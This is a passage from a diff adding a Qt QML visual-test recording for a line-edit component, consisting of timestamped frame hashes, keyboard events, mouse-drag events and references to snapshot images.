+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5920
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 5936
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 5952
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 5968
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 5984
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6000
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6016
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6032
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6048
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6064
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6080
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6096
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6112
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6128
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Frame {
+ msec: 6144
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6160
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6176
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6192
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6208
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6224
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6240
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6256
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6272
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6288
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6304
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6320
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6336
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6352
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6368
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6384
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6400
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6416
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6432
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6448
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6464
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6480
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6496
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6512
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6528
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6544
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6560
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6576
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6592
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6608
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6624
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6640
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6656
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6672
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6688
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6704
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6720
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6736
+ image: "usingLineEdit.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6768
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6784
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6800
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6816
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6832
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6848
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6864
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6880
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6896
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6912
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6928
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Frame {
+ msec: 6944
+ hash: "ed2a8fae3e94e2f90232d172246d3783"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6960
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 6976
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 6992
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7008
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7024
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7040
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7056
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7072
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7088
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7104
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7120
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7136
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7152
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7168
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7184
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7200
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7216
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7232
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7248
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7264
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7280
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7296
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7312
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7328
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7344
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7360
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7376
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7392
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7408
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7424
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7440
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7456
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7472
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7488
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7504
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7520
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7536
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7552
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7568
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7584
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7600
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7616
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7632
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7648
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7664
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7680
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7696
+ image: "usingLineEdit.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7728
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7744
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7760
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7776
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7792
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7808
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7824
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7840
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7856
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7872
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7888
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7904
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7920
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7936
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7952
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7968
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 7984
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8000
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8016
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8032
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8048
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8064
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8080
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8096
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8112
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8128
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8144
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8160
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8176
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8192
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8208
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8224
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8240
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8256
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8272
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8288
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8304
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8320
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8336
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8352
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8368
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8384
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8400
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8416
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8432
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8448
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8464
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8480
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Frame {
+ msec: 8496
+ hash: "f1c4f46ee86ce1eb24fcd72106da0248"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 61; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8512
+ hash: "e779fc73a3ca131452f62e889d5c96ea"
+ }
+ Frame {
+ msec: 8528
+ hash: "e779fc73a3ca131452f62e889d5c96ea"
+ }
+ Frame {
+ msec: 8544
+ hash: "e779fc73a3ca131452f62e889d5c96ea"
+ }
+ Frame {
+ msec: 8560
+ hash: "e779fc73a3ca131452f62e889d5c96ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 60; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8576
+ hash: "e779fc73a3ca131452f62e889d5c96ea"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8592
+ hash: "400b446983d944bac62889fb47e8d405"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8608
+ hash: "400b446983d944bac62889fb47e8d405"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 32; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8624
+ hash: "769278730ba7e2a31333496a0c99499f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8640
+ hash: "769278730ba7e2a31333496a0c99499f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8656
+ image: "usingLineEdit.9.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8672
+ hash: "c193a6f52a967c97961df08ebffe50c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8688
+ hash: "c193a6f52a967c97961df08ebffe50c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8704
+ hash: "c193a6f52a967c97961df08ebffe50c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8720
+ hash: "c193a6f52a967c97961df08ebffe50c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 19; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8736
+ hash: "ce0d865bf18c5c3ff93bda82f95e97c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 18; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8752
+ hash: "ce0d865bf18c5c3ff93bda82f95e97c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 15; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8768
+ hash: "ce0d865bf18c5c3ff93bda82f95e97c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 14; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 13; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8784
+ hash: "ce0d865bf18c5c3ff93bda82f95e97c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 12; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 11; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8800
+ hash: "ce0d865bf18c5c3ff93bda82f95e97c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 10; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 8; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8816
+ hash: "af2a9c17451a89153e04418e056d9ea5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 5; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8832
+ hash: "749a1ccf2050c809be5e3820d3b2fba9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 3; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 2; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8848
+ hash: "74f183256682200a804baa620a6ce978"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8864
+ hash: "9d837fb68c47ac3659b93e9f77cea0af"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -2; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8880
+ hash: "2dc20ba694548e05c80383d0fcc429fc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -5; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -6; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8896
+ hash: "0f5b95fbbdd932c8dbfaffd0cdd44dec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -7; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -9; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8912
+ hash: "dd9e9d86eacd44b19c6c9c64c2abf007"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -10; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -11; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8928
+ hash: "7c67140abcbe7b8a36a7324016377272"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -12; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -13; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8944
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -14; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -15; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8960
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 8976
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -16; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8992
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -18; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9008
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9024
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9040
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9056
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9072
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9088
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9104
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9120
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9136
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9152
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9168
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9184
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Frame {
+ msec: 9200
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9216
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -16; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9232
